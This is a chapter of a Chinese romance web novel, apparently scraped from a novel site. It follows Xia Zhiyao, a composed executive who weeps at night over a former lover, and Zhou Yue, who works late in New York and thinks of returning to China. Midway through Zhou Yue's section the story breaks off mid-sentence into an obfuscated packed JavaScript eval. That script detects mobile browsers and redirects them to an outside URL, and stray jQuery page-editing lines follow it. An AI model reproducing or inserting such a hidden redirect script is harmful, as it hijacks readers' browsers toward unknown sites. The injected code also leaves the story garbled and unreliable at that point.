凌晨四点多，她又一次从梦中惊醒。


    像是被什么钝重的情绪从深梦中拽了出来，她坐起身，呼吸紊乱，额角覆着一层冷汗，后背也潮湿冰凉。窗帘半掩，屋里光影模糊，像是现实也还没清醒。


    她闭着眼，梦境的残影还在脑海里翻涌。


    是纽约的夜晚。那间熟悉的卧室，窗外飘着淡雪，厚重的帘子被风轻轻拂动，床头的灯还亮着。他的手臂搭在她腰上，体温温热，他的声音低低的，带着一点含混的困意，在她耳边轻声呢喃：“别走，就这样躺一会儿，好不好？”


    梦境温柔得像谎言，轻得几乎让人信以为真。


    她坐在床边，缓缓睁开眼，望着空荡的房间，只觉得胸腔里空了一块，仿佛那个梦，用尽了一生的温情，却留给她醒来后的全部冷意。


    可醒来之后，周围只剩冰冷的空气。


    床单平整如初，像从未有人来过，连一点残留的温度都没留下。


    她仰躺着不动，眼睛睁得很大，盯着天花板的暗影发呆，像个刚从战场退下的士兵，身上没有明显伤口，却早已遍体鳞伤，骨血枯竭，只剩下呼吸还维持着“活着”的假象。


    她把手机丢回床头，整个人蜷成一团，像是终于承认了自己的无能为力。


    可心里那股压抑太久的情绪仍在翻涌，不肯停歇。她翻身坐起，手微微颤抖着拿回手机，盯着那个熟悉得不能再熟悉的名字，反复点开，又反复退出。


    页面亮了又暗，暗了又亮。


    她试着输入什么，又一字一句删掉。


    【在吗。】


    【我好像……真的很想你。】


    她盯着那两行字良久，指尖悬在“发送”键上，屏幕的微光将她脸上的迟疑与脆弱照得分毫毕现。


    但她终究还是没按下去。


    她怕。怕消息发出去石沉大海；怕他连看都不会看；怕自己连被拒绝的资格都没有。就像有人在她心头割开一道缝，然后缓慢探入手掌，一点点把残存的希望剥离、抽空。


    她将那些输入的字默默删掉，屏幕归于一片空白。像她小心掩埋的那些夜晚，表面干净，却藏着深不见底的痛楚。


    她沉默地锁上屏幕，手机“啪”地一声扣在床头柜上。


    那一刻，她的眼泪终于失控地涌出来。


    安静地滑过脸颊，她咬紧嘴唇，整个人蜷进膝盖之间，肩膀微微颤抖。像是终于将白天所有伪装出的强大、利落、理智，全都一瞬间卸下。


    她崩溃得没有声音，仿佛连哭泣也要保持某种优雅。泪落在手背上，冰凉得像凌晨街角扑面而来的风。


    那一刻，她终于明白，有些人，一旦离开，便真的再没有重来的机会，而她，一直困在那条“还没来得及说出口”的消息里，踟蹰着，不甘、不舍、不敢。


    她常常蜷缩在床的一角，像一具还残存着体温的尸体，僵冷、孤独，却又固执地渴望哪怕一点点温暖的痕迹。


    她的灵魂仿佛早已从身体中悄然抽离，飘游在这座城市沉默的夜色中，穿过霓虹与街道，轻轻路过那些他们曾一同走过的角落，也路过那些，再也回不去的时光。


    她像一团被风吹散的轻雾，最终飘回这间安静得令人窒息的空房，落在那张冰冷空荡的床上，与失眠、泪水和孤独为伴，直到天光渐白。


    天刚蒙蒙亮，闹钟就响了。


    夏知遥睁开眼，眼白布着细红血丝，却没有任何表情。她像是习惯了这样清晨的疲惫，沉默地起身，走进浴室，冷水拍在脸上时，那种彻骨的清醒反倒令她心安。


    镜子里的她气色略差，眼下浮着淡淡青影。但她只是淡淡扫了一眼，什么也没说，像是在告诉自己：情绪不属于白天。


    二十分钟后，她已经梳洗完毕，重新换上剪裁利落的深灰西装，头发一丝不乱地束起，唇色略淡，却更显得整个人冷静干练。


    她站在玄关处，穿好高跟鞋的动作一如既往流畅，拉开门那一刻，整个人仿佛被切换成另一个系统。


    电梯镜面里，她面无表情，背脊挺得笔直，仿佛昨晚那个蜷缩在床角、几近崩溃的女人从未存在过。


    九点前，她照例出现在会议室。


    林千帆早已等在那里，一如既往地将会议材料按顺序摆好。她轻声问候：“夏总，早。”


    夏知遥点头，没有寒暄，径直坐下，翻开第一份文件。


    几分钟后，与会高管陆续进场。郑晓天走进来时还带着笑意，一边打着领带一边说：“今天谁提早进场谁最有发言权，我看这风气挺好。”


    她没抬头，只淡淡开口：“那你准备好听发言了吗？”


    郑晓天咧嘴一笑：“听你说话，我随时准备好接受审判。”


    会议开始，她语速不快，却节奏明确，将每个项目推进的节点、时间表、责任人统统理得清清楚楚。她边讲边在电子白板上勾勒结构图，逻辑一如既往地紧密清晰，几乎不给任何人插话的余地。


    哪怕是有人提出疑问，她也总能迅速回应，精准拆解问题本质，反问三步，逼得对方不得不认同她的判断。


    没人看得出，她嗓音略有些哑，是凌晨哭过后的后遗症。


    没人注意，她在指尖拈笔时，指节微微泛白，是用力过猛的结果。


    只有林千帆在一旁，偶尔抬头，似乎察觉了她眼神深处那一瞬极短的空落。但她没问，只默默记下她换了更浓的眉色、更淡的口红，那通常是夜晚睡得极差的迹象。


    会议持续了近两个小时，最后收尾时，夏知遥将手中文件合上，淡淡说了一句：“这周之内完成所有节点推进，否则下周一我们就得讨论问责。”


    她说这话时，声音很轻，却让会议室短暂沉寂了几秒。


    人群散去后，郑晓天最后一个离开，他走到她桌边，低头看了她一眼，语气随意却有几分认真：“你今天……比平时还要锋利一点。”


    夏知遥淡淡道：“那是因为我没睡够。”


    郑晓天盯着她看了两秒，像是想说什么，又像什么都明白，只轻轻点头：“那今天早点下班。”


    她没应声，只垂眸翻开另一份文件，仿佛这句话从未发生过。


    可就在他转身的那一瞬间，她却忽然开口：“郑晓天。”


    他回头：“嗯？”


    她头也没抬，只轻声道：“你有没有觉得，有时候人活得太清醒了，反而会很累？”


    郑晓天怔住。


    她缓缓抬头，眼神淡淡的，仿佛只是无意间说出一句没什么意义的陈述。


    “累了就歇一歇。”他说，“但别把自己逼到连做梦的力气都没有。”


    她盯着他，许久，没再说话。


    然后她低下头，把那句话连同这一刻短暂的脆弱，重新藏进了翻动的纸页之间。


    办公室里只剩周越一个人。


    电脑屏幕的蓝光映在他脸上，将他眼底那点藏不住的疲惫照得分明。窗外又开始飘雪，纽约的冬天来得猝不及防，一如那年他们分开的夜晚。


    他坐在办公桌前，指节按压着眉心，思路一阵阵走神。


    雪落在落地窗上，冷白一片。他透过玻璃望出去，忽然想起一年前，他和夏知遥站在雪地里接吻的那个夜晚。


    她的手指冰冷，呼吸灼热，衣角拂过他颤抖的指尖。他们在街灯昏黄下接吻，雪落进她发梢，而他只记得自己有多想、也有多需要她，那种爱欲缠绵、几乎要将人撕碎的想念，从那个夜晚开始，一直困住他到现在。


    他曾经以为，时间和距离能解决一切，可如今，又是一个雪夜，又是一个深夜加班的冬天。


    记忆像雪一样覆上来，无声无息地淹没了他，他又开始焦虑。


    手指轻微颤动，胃部紧绷，心跳不规则地加速。过去几个月他一直


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782222|173106||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在接受心理治疗，医生说他是典型的“情绪外化型焦虑”，曾试图用工作和性转移焦虑源，现在终于意识到他真正逃避的，是“无法拥有的情感”。


    状态确实好了一些，至少能睡多半个晚上，至少能面对那些突如其来的情绪波动，而不立即失控。


    可今晚，这场突如其来的雪，这熟悉得像警报一样的空气味道，让他几乎忘了所有努力。


    他放下笔，靠在椅背里，胸口发紧，仿佛整个人都被困在那个回不去的夜晚里。


    就在这时，手机响了一下，他下意识拿起来，看见是一条微信。


    发件人是他同母异父的弟弟姜其然。


    他靠在椅背里，盯着弟弟那条微信看了很久。


    【哥，我哥大的offer来了。】


    消息语气兴奋，结尾还有个跳跃的表情符号，像是穿过重重申请季和焦虑夜晚后，终于抵达现实的一句欢呼。


    他低头打下一行字：【恭喜，终于等到了。】


    指尖停在“发送”键上那一瞬，他忽然有些说不清自己此刻的情绪，他不确定自己这突如其来的松一口气，是因为弟弟能来纽约而开心，还是……因为自己终于有了一个体面的借口，可以回国。


    那些日复一日地说服自己留下来的理由，突然在这一刻失了效力，这座城市并没有因此更宽容，反而日渐逼仄。


    越来越多的夜晚，他一个人坐在公寓里，看着窗外下雪，突然意识到自己早该离开。


    而现在，弟弟来了。


    他终于可以开口说，弟弟要来纽约读书了，他也差不多完成了自己的“使命”，可以体面地辞职，可以理性地规划下一步，回国，调整，休整，走一条更“长远”的路。


    一切听起来都合情合理，可他自己心里清楚，那些不过是遮羞的外壳。


    他靠在椅背上，喉咙发紧，手指搭在桌沿，烟夹在指尖，却始终没有点燃。


    窗外雪还在下，纽约的夜冷得像一口封存情绪的井，将所有未曾说出口的念头都沉在最深处。


    周越坐在桌前，低头看着手机，指尖一寸寸收紧，他点进夏知遥的朋友圈，那个他始终舍不得删掉、却早已无从打扰的页面。


    她依然没有拉黑他，也没有屏蔽，这才是最令人难受的部分，她没有切断联系，但也从未主动留下什么可以被解读的痕迹。


    页面干净得近乎冷漠，最新一条是她入职天恒方略的简短公告：【新起点，感谢过去。】配图是一张天恒logo的会议室，冷色调，干净，整洁，像极了她自己。


    再往下滑，是三个月前转发的某篇行业报告，再往下，是一条点赞量很高的会议实录，照片里她站在台上，神情从容。


    然后就没有了，她把生活藏得极好，像把自己变成了一个“无法被误会的人”，不暴露，不示弱，也不留缝隙。


    他看着那张会议照片，手指拂过屏幕。


    她站在人群前，眉眼依旧冷静，但他知道那是她惯用的状态，外界看不出情绪，只有极少数人知道，她越冷静的时候，情绪越在往内缩。


    他忽然很想知道：她每天几点下班？她现在住哪？她是不是还喜欢吃甜的？她会不会在某个深夜，也像他一样盯着一条对话框，不知道要不要打字。


    可他什么都不知道了，她像从他的生活中消失得干干净净，只留下一道影子。


    他望着那张照片，喉咙干涩，仿佛他一出现，就是一种打扰，可他还是想回去。


    想去确认她是真的“挺好”，还是只是把所有情绪藏在了能让别人安心的表象里，想去面对她，也面对自己那段始终没走完的路。


    他想回去找她，想质问她，想逼她回答，想知道她到底怎么能说走就走，连一句像样的解释都不给。


    更重要的，是想确认一件事：自己是不是，还有资格出现在她的生活里。